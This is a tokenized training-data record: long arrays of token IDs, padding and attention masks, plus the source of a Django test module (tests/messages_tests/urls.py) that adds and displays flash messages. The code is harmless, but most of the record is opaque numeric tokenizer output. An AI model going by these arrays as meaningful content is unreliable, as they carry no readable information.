4830, 13, 17, 2, 339, 347, 1031, 63, 1618, 63, 458, 757, 8, 277, 12, 1318, 304, 199, 198, 533, 10191, 8, 32394, 757, 2461, 12, 291, 14, 27375, 304, 6722, 347, 636, 826, 721, 277, 12, 3413, 304, 507, 198, 1494, 14, 27375, 855, 826, 721, 277, 9, 507, 198, 277, 14, 1494, 275, 3413, 507, 198, 277, 14, 548, 275, 942, 507, 198, 277, 14, 2340, 275, 942, 686, 8299, 198, 80, 275, 10191, 8, 277, 9, 199, 198, 80, 14, 3871, 8, 505, 9, 199, 198, 80, 14, 1600, 342, 199, 198, 692, 299, 14, 2340, 26, 6722, 746, 12053, 12, 283, 7718, 1284, 1947, 7, 199, 198, 932, 275, 291, 14, 932, 63, 1618, 63, 502, 559, 360, 1457, 297, 3260, 299, 14, 548, 12, 378, 9, 199, 198, 1107, 1031, 339, 347, 485, 396, 63, 973, 2531, 277, 304, 199, 198, 88, 275, 408, 199, 11230, 16556, 3517, 1396, 30, 199, 2765, 365, 376, 665, 5633, 30, 9052, 1989, 1759, 3068, 5633, 30, 4349, 14, 199, 9295, 2597, 665, 65, 4369, 628, 71, 384, 647, 13, 321, 14, 7646, 14, 846, 1743, 598, 384, 647, 14, 3068, 65, 30, 199, 18718, 465, 665, 1180, 63, 1662, 63, 11300, 4743, 199, 199, 5940, 1495, 2984, 26, 1253, 3, 1960, 27, 14, 199, 5940, 1495, 2984, 26, 1253, 4116, 27, 14, 199, 199, 25273, 437, 3721, 10541, 199, 199, 28, 31, 33, 6661, 16329, 30, 199, 199, 28, 3251, 26, 1450, 7082, 199, 198, 624, 421, 198, 932, 275, 291, 14, 932, 63, 1618, 63, 458, 757, 8, 88, 9, 199, 198, 1361, 1031, 421, 199, 692, 378, 503, 636, 354, 363, 6803, 363, 973, 3706, 272, 687, 486, 384, 647, 492, 12826, 272, 12826, 1252, 71, 384, 647, 14, 458, 76, 14, 32394, 757, 423, 396, 63, 973, 12798, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 423, 5107, 63, 2064, 486, 384, 647, 14, 458, 76, 14, 32394, 757, 199, 199, 533, 598, 83, 757, 2461, 26, 272, 327, 4005, 506, 13492, 315, 543, 6020, 2839, 24581, 14, 27375, 339, 347, 2429, 63, 15234, 8, 277, 12, 1947, 12, 3290, 304, 199, 198, 3, 870, 283, 15234, 297, 1947, 12, 3290, 199, 198, 277, 14, 2340, 14, 740, 8, 277, 14, 548, 9, 199, 198, 277, 14, 548, 275, 942, 199, 198, 692, 3290, 26, 6722, 737, 275, 942, 6722, 367, 1022, 12, 373, 315, 3290, 26, 507, 198, 292, 14, 740, 8, 277, 14, 1494, 14, 932, 63, 1618, 63, 502, 559, 8, 75, 12, 373, 430, 6722, 291, 14, 548, 14, 740, 8, 277, 14, 1494, 14, 932, 63, 1618, 63, 502, 559, 360, 1045, 297, 3260, 737, 430, 507, 14821, 347, 2429, 63, 25765, 8, 277, 12, 1947, 304, 199, 198, 3, 870, 283, 25765, 297, 1947, 199, 198, 932, 275, 291, 14, 1494, 14, 932, 63, 1618, 63, 502, 559, 8, 1450, 12, 3260, 291, 14, 548, 9, 199, 198, 277, 14, 548, 275, 291, 14, 2340, 14, 1935, 342, 199, 198, 277, 14, 548, 14, 740, 8, 932, 9, 339, 347, 2429, 63, 24253, 8, 277, 12, 536, 304, 199, 198, 3, 1361, 283, 24253, 297, 536, 267, 340, 536, 1491, 17, 61, 508, 298, 88, 582, 288, 1495, 275, 1109, 8, 354, 59, 17, 8429, 3193, 9, 6722, 536, 275, 283, 16, 6828, 354, 267, 587, 26, 288, 1495, 275, 1109, 8, 354, 9, 267, 340, 378, 2695, 1495, 665, 7960, 26, 6722, 1495, 275, 8678, 8, 1560, 9, 6722, 291, 14, 2479, 63, 576, 8, 1560, 9, 199, 198, 2836, 26, 6722, 291, 14, 548, 14, 740, 8, 277, 14, 1494, 14, 932, 63, 1618, 63, 502, 559, 360, 1560, 297, 536, 430, 339, 347, 2429, 63, 4502, 1121, 8, 277, 12, 536, 304, 199, 198, 3, 1361, 283, 2479, 4642, 1121, 297, 536, 199, 198, 692, 536, 440, 315, 291, 14, 1494, 14, 4502, 8710, 26, 288, 291, 14, 5187, 63, 4502, 1121, 8, 354, 9, 199, 198, 277, 14, 548, 14, 740, 8, 277, 14, 1494, 14, 932, 63, 1618, 63, 502, 559, 360, 1560, 297, 536, 430, 339, 347, 5809, 63, 4502, 1121, 8, 277, 12, 536, 304, 199, 198, 3730, 12053, 12, 283, 5912, 4642, 2984, 26, 450, 82, 5956, 354, 339, 347, 2429, 63, 576, 8, 277, 12, 666, 304, 199, 198, 3, 870, 283, 576, 297, 666, 199, 198, 3, 666, 275, 666, 14, 1913, 342, 199, 198, 692, 666, 14, 1913, 837, 6722, 291, 14, 548, 14, 2880, 8, 291, 14, 1494, 14, 2415, 63, 1618, 63, 505, 8, 576, 9, 776, 339, 347, 2429, 63, 3349, 8, 277, 12, 666, 304, 199, 198, 277, 14, 548, 14, 740, 8, 291, 14, 1494, 14, 932, 63, 1618, 63, 502, 559, 360, 3349, 297, 666, 12, 11969, 378, 430, 507, 272, 347, 2429, 63, 9427, 8, 277, 12, 15021, 304, 199, 198, 3, 870, 283, 2479, 63, 9427, 297, 15021, 199, 198, 277, 14, 548, 14, 740, 8, 291, 14, 1494, 14, 932, 63, 1618, 63, 502, 559, 360, 1360, 63, 15477, 297, 15021, 430, 339, 347, 2429, 63, 1038, 8, 277, 12, 666, 304, 199, 198, 277, 14, 548, 14, 740, 8, 291, 14, 1494, 14, 932, 63, 1618, 63, 502, 559, 360, 6338, 63, 22880, 297, 666, 430, 199, 199, 533, 485, 2226, 4187, 1981, 7089, 10388, 272, 485, 12775, 63, 275, 334, 199, 198, 26142, 1231, 14, 27375, 26, 27375, 297, 199, 198, 26142, 1708, 14, 5307, 6300, 26, 932, 63, 1618, 63, 502, 559, 297, 199, 198, 26142, 1708, 14, 5307, 6300, 26, 2415, 63, 1618, 63, 505, 297, 199, 198, 26142, 1231, 14, 15575, 552, 1701, 8710, 26, 4502, 8710, 297, 199, 198, 9, 339, 2644, 275, 298, 4595, 13, 4830, 13, 17, 2, 339, 347, 1031, 63, 1618, 63, 458, 757, 8, 277, 12, 1318, 304, 199, 198, 533, 10191, 8, 32394, 757, 2461, 12, 291, 14, 27375, 304, 6722, 347, 636, 826, 721, 277, 12, 3413, 304, 507, 198, 1494, 14, 27375, 855, 826, 721, 277, 9, 507, 198, 277, 14, 1494, 275, 3413, 507, 198, 277, 14, 548, 275, 942, 507, 198, 277, 14, 2340, 275, 942, 686, 8299, 198, 80, 275, 10191, 8, 277, 9, 199, 198, 80, 14, 3871, 8, 505, 9, 199, 198, 80, 14, 1600, 342, 199, 198, 692, 299, 14, 2340, 26, 6722, 746, 12053, 12, 283, 7718, 1284, 1947, 7, 199, 198, 932, 275, 291, 14, 932, 63, 1618, 63, 502, 559, 360, 1457, 297, 3260, 299, 14, 548, 12, 378, 9, 199, 198, 1107, 1031, 339, 347, 485, 396, 63, 973, 2531, 277, 304, 199, 198, 88, 275, 408, 199, 11230, 16556, 3517, 1396, 30, 199, 2765, 365, 376, 665, 5633, 30, 9052, 1989, 1759, 3068, 5633, 30, 4349, 14, 199, 9295, 2597, 665, 65, 4369, 628, 71, 384, 647, 13, 321, 14, 7646, 14, 846, 1743, 598, 384, 647, 14, 3068, 65, 30, 199, 18718, 465, 665, 1180, 63, 1662, 63, 11300, 4743, 199, 199, 5940, 1495, 2984, 26, 1253, 3, 1960, 27, 14, 199, 5940, 1495, 2984, 26, 1253, 4116, 27, 14, 199, 199, 25273, 437, 3721, 10541, 199, 199, 28, 31, 33, 6661, 16329, 30, 199, 199, 28, 3251, 26, 1450, 7082, 199, 198, 624, 421, 198, 932, 275, 291, 14, 932, 63, 1618, 63, 458, 757, 8, 88, 9, 199, 198, 1361, 1031, 421, 199, 692, 378, 503, 636, 354, 363, 6803, 363, 973, 3706, 272, 687, 486, 384, 647, 492, 12826, 272, 12826, 1252, 71, 384, 647, 14, 458, 76, 14, 32394, 757, 423, 396, 63, 973, 12798, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
nju520/django
tests/messages_tests/urls.py
320
2569
from django import forms from django.conf.urls import url from django.contrib import messages from django.contrib.messages.views import SuccessMessageMixin from django.core.urlresolvers import reverse from django.http import HttpResponse, HttpResponseRedirect from django.template import engines from django.template.response import TemplateResponse from django.views.decorators.cache import never_cache from django.views.generic.edit import FormView TEMPLATE = """{% if messages %} <ul class="messages"> {% for message in messages %} <li{% if message.tags %} class="{{ message.tags }}"{% endif %}> {{ message }} </li> {% endfor %} </ul> {% endif %} """ @never_cache def add(request, message_type): # don't default to False here, because we want to test that it defaults # to False if unspecified fail_silently = request.POST.get('fail_silently', None) for msg in request.POST.getlist('messages'): if fail_silently is not None: getattr(messages, message_type)(request, msg, fail_silently=fail_silently) else: getattr(messages, message_type)(request, msg) show_url = reverse('show_message') return HttpResponseRedirect(show_url) @never_cache def add_template_response(request, message_type): for msg in request.POST.getlist('messages'): getattr(messages, message_type)(request, msg) show_url = reverse('show_template_response') return HttpResponseRedirect(show_url) @never_cache def show(request): template = engines['django'].from_string(TEMPLATE) return HttpResponse(template.render(request=request)) @never_cache def show_template_response(request): template = engines['django'].from_string(TEMPLATE) return TemplateResponse(request, template) class ContactForm(forms.Form): name = forms.CharField(required=True) slug = forms.SlugField(required=True) class ContactFormViewWithMsg(SuccessMessageMixin, FormView): form_class = ContactForm success_url = show success_message = "%(name)s was created successfully" urlpatterns = [ url('^add/(debug|info|success|warning|error)/$', add, name='add_message'), url('^add/msg/$', ContactFormViewWithMsg.as_view(), name='add_success_msg'), url('^show/$', show, name='show_message'), url('^template_response/add/(debug|info|success|warning|error)/$', add_template_response, name='add_template_response'), url('^template_response/show/$', show_template_response, name='show_template_response'), ]
bsd-3-clause
[ 504, 1639, 492, 4513, 199, 504, 1639, 14, 2190, 14, 3603, 492, 1166, 199, 504, 1639, 14, 2828, 492, 3788, 199, 504, 1639, 14, 2828, 14, 3431, 14, 4196, 492, 22318, 2209, 4256, 199, 504, 1639, 14, 1018, 14, 16522, 492, 3837, 199, 504, 1639, 14, 1014, 492, 6183, 12, 14935, 199, 504, 1639, 14, 1160, 492, 28156, 199, 504, 1639, 14, 1160, 14, 1310, 492, 29264, 199, 504, 1639, 14, 4196, 14, 11582, 14, 1637, 492, 7078, 63, 1637, 199, 504, 1639, 14, 4196, 14, 6767, 14, 3773, 492, 8204, 2768, 421, 199, 7433, 275, 408, 3996, 340, 3788, 3674, 199, 28, 348, 1021, 628, 3431, 1743, 272, 7749, 367, 1245, 315, 3788, 3674, 272, 665, 317, 3996, 340, 1245, 14, 2969, 3674, 1021, 628, 3638, 1245, 14, 2969, 7820, 3996, 14454, 3674, 30, 267, 8448, 1245, 3586, 272, 3068, 317, 30, 272, 7749, 17273, 3674, 199, 1108, 348, 30, 199, 3996, 14454, 3674, 199, 624, 421, 199, 32, 18178, 63, 1637, 199, 318, 1050, 8, 1069, 12, 1245, 63, 466, 304, 272, 327, 2793, 1133, 849, 370, 756, 2348, 12, 2952, 781, 2934, 370, 511, 626, 652, 4243, 272, 327, 370, 756, 340, 21994, 272, 2449, 63, 25163, 275, 1056, 14, 4030, 14, 362, 360, 1633, 63, 25163, 297, 488, 9, 272, 367, 1499, 315, 1056, 14, 4030, 14, 21343, 360, 3431, 735, 267, 340, 2449, 63, 25163, 365, 440, 488, 26, 288, 2519, 8, 3431, 12, 1245, 63, 466, 5130, 1069, 12, 1499, 12, 4490, 2449, 63, 25163, 29, 1633, 63, 25163, 9, 267, 587, 26, 288, 2519, 8, 3431, 12, 1245, 63, 466, 5130, 1069, 12, 1499, 9, 339, 2498, 63, 633, 275, 3837, 360, 2384, 63, 1188, 358, 272, 372, 14935, 8, 2384, 63, 633, 9, 421, 199, 32, 18178, 63, 1637, 199, 318, 1050, 63, 1160, 63, 1310, 8, 1069, 12, 1245, 63, 466, 304, 272, 367, 1499, 315, 1056, 14, 4030, 14, 21343, 360, 3431, 735, 267, 2519, 8, 3431, 12, 1245, 63, 466, 5130, 1069, 12, 1499, 9, 339, 2498, 63, 633, 275, 3837, 360, 2384, 63, 1160, 63, 1310, 358, 272, 372, 14935, 8, 2384, 63, 633, 9, 421, 199, 32, 18178, 63, 1637, 199, 318, 2498, 8, 1069, 304, 272, 1978, 275, 28156, 459, 1176, 2278, 504, 63, 875, 8, 7433, 9, 272, 372, 6183, 8, 1160, 14, 3352, 8, 1069, 29, 1069, 430, 421, 199, 32, 18178, 63, 1637, 199, 318, 2498, 63, 1160, 63, 1310, 8, 1069, 304, 272, 1978, 275, 28156, 459, 1176, 2278, 504, 63, 875, 8, 7433, 9, 272, 372, 29264, 8, 1069, 12, 1978, 9, 421, 199, 533, 18684, 2821, 8, 3351, 14, 2821, 304, 272, 536, 275, 4513, 14, 2183, 8, 2427, 29, 549, 9, 272, 8889, 275, 4513, 14, 17315, 8, 2427, 29, 549, 9, 421, 199, 533, 18684, 2821, 2768, 3007, 6173, 8, 8300, 2209, 4256, 12, 8204, 2768, 304, 272, 1824, 63, 533, 275, 18684, 2821, 272, 3182, 63, 633, 275, 2498, 272, 3182, 63, 1188, 275, 11792, 354, 9, 83, 1990, 2737, 8792, 2, 421, 199, 20050, 275, 359, 272, 1166, 9097, 525, 7985, 1757, 92, 815, 92, 3742, 92, 3764, 92, 705, 2447, 4268, 1050, 12, 536, 534, 525, 63, 1188, 659, 272, 1166, 9097, 525, 15, 1328, 10884, 18684, 2821, 2768, 3007, 6173, 14, 305, 63, 1345, 1062, 536, 534, 525, 63, 3742, 63, 1328, 659, 272, 1166, 9097, 2384, 10884, 2498, 12, 536, 534, 2384, 63, 1188, 659, 272, 1166, 9097, 1160, 63, 1310, 15, 525, 7985, 1757, 92, 815, 92, 3742, 92, 3764, 92, 705, 2447, 4268, 267, 1050, 63, 1160, 63, 1310, 12, 536, 534, 525, 63, 1160, 63, 1310, 659, 272, 1166, 9097, 1160, 63, 1310, 15, 2384, 10884, 2498, 63, 1160, 63, 1310, 12, 536, 534, 2384, 63, 1160, 63, 1310, 659, 199, 61, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1639, 492, 4513, 199, 504, 1639, 14, 2190, 14, 3603, 492, 1166, 199, 504, 1639, 14, 2828, 492, 3788, 199, 504, 1639, 14, 2828, 14, 3431, 14, 4196, 492, 22318, 2209, 4256, 199, 504, 1639, 14, 1018, 14, 16522, 492, 3837, 199, 504, 1639, 14, 1014, 492, 6183, 12, 14935, 199, 504, 1639, 14, 1160, 492, 28156, 199, 504, 1639, 14, 1160, 14, 1310, 492, 29264, 199, 504, 1639, 14, 4196, 14, 11582, 14, 1637, 492, 7078, 63, 1637, 199, 504, 1639, 14, 4196, 14, 6767, 14, 3773, 492, 8204, 2768, 421, 199, 7433, 275, 408, 3996, 340, 3788, 3674, 199, 28, 348, 1021, 628, 3431, 1743, 272, 7749, 367, 1245, 315, 3788, 3674, 272, 665, 317, 3996, 340, 1245, 14, 2969, 3674, 1021, 628, 3638, 1245, 14, 2969, 7820, 3996, 14454, 3674, 30, 267, 8448, 1245, 3586, 272, 3068, 317, 30, 272, 7749, 17273, 3674, 199, 1108, 348, 30, 199, 3996, 14454, 3674, 199, 624, 421, 199, 32, 18178, 63, 1637, 199, 318, 1050, 8, 1069, 12, 1245, 63, 466, 304, 272, 327, 2793, 1133, 849, 370, 756, 2348, 12, 2952, 781, 2934, 370, 511, 626, 652, 4243, 272, 327, 370, 756, 340, 21994, 272, 2449, 63, 25163, 275, 1056, 14, 4030, 14, 362, 360, 1633, 63, 25163, 297, 488, 9, 272, 367, 1499, 315, 1056, 14, 4030, 14, 21343, 360, 3431, 735, 267, 340, 2449, 63, 25163, 365, 440, 488, 26, 288, 2519, 8, 3431, 12, 1245, 63, 466, 5130, 1069, 12, 1499, 12, 4490, 2449, 63, 25163, 29, 1633, 63, 25163, 9, 267, 587, 26, 288, 2519, 8, 3431, 12, 1245, 63, 466, 5130, 1069, 12, 1499, 9, 339, 2498, 63, 633, 275, 3837, 360, 2384, 63, 1188, 358, 272, 372, 14935, 8, 2384, 63, 633, 9, 421, 199, 32, 18178, 63, 1637, 199, 318, 1050, 63, 1160, 63, 1310, 8, 1069, 12, 1245, 63, 466, 304, 272, 367, 1499, 315, 1056, 14, 4030, 14, 21343, 360, 3431, 735, 267, 2519, 8, 3431, 12, 1245, 63, 466, 5130, 1069, 12, 1499, 9, 339, 2498, 63, 633, 275, 3837, 360, 2384, 63, 1160, 63, 1310, 358, 272, 372, 14935, 8, 2384, 63, 633, 9, 421, 199, 32, 18178, 63, 1637, 199, 318, 2498, 8, 1069, 304, 272, 1978, 275, 28156, 459, 1176, 2278, 504, 63, 875, 8, 7433, 9, 272, 372, 6183, 8, 1160, 14, 3352, 8, 1069, 29, 1069, 430, 421, 199, 32, 18178, 63, 1637, 199, 318, 2498, 63, 1160, 63, 1310, 8, 1069, 304, 272, 1978, 275, 28156, 459, 1176, 2278, 504, 63, 875, 8, 7433, 9, 272, 372, 29264, 8, 1069, 12, 1978, 9, 421, 199, 533, 18684, 2821, 8, 3351, 14, 2821, 304, 272, 536, 275, 4513, 14, 2183, 8, 2427, 29, 549, 9, 272, 8889, 275, 4513, 14, 17315, 8, 2427, 29, 549, 9, 421, 199, 533, 18684, 2821, 2768, 3007, 6173, 8, 8300, 2209, 4256, 12, 8204, 2768, 304, 272, 1824, 63, 533, 275, 18684, 2821, 272, 3182, 63, 633, 275, 2498, 272, 3182, 63, 1188, 275, 11792, 354, 9, 83, 1990, 2737, 8792, 2, 421, 199, 20050, 275, 359, 272, 1166, 9097, 525, 7985, 1757, 92, 815, 92, 3742, 92, 3764, 92, 705, 2447, 4268, 1050, 12, 536, 534, 525, 63, 1188, 659, 272, 1166, 9097, 525, 15, 1328, 10884, 18684, 2821, 2768, 3007, 6173, 14, 305, 63, 1345, 1062, 536, 534, 525, 63, 3742, 63, 1328, 659, 272, 1166, 9097, 2384, 10884, 2498, 12, 536, 534, 2384, 63, 1188, 659, 272, 1166, 9097, 1160, 63, 1310, 15, 525, 7985, 1757, 92, 815, 92, 3742, 92, 3764, 92, 705, 2447, 4268, 267, 1050, 63, 1160, 63, 1310, 12, 536, 534, 525, 63, 1160, 63, 1310, 659, 272, 1166, 9097, 1160, 63, 1310, 15, 2384, 10884, 2498, 63, 1160, 63, 1310, 12, 536, 534, 2384, 63, 1160, 63, 1310, 659, 199, 61, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 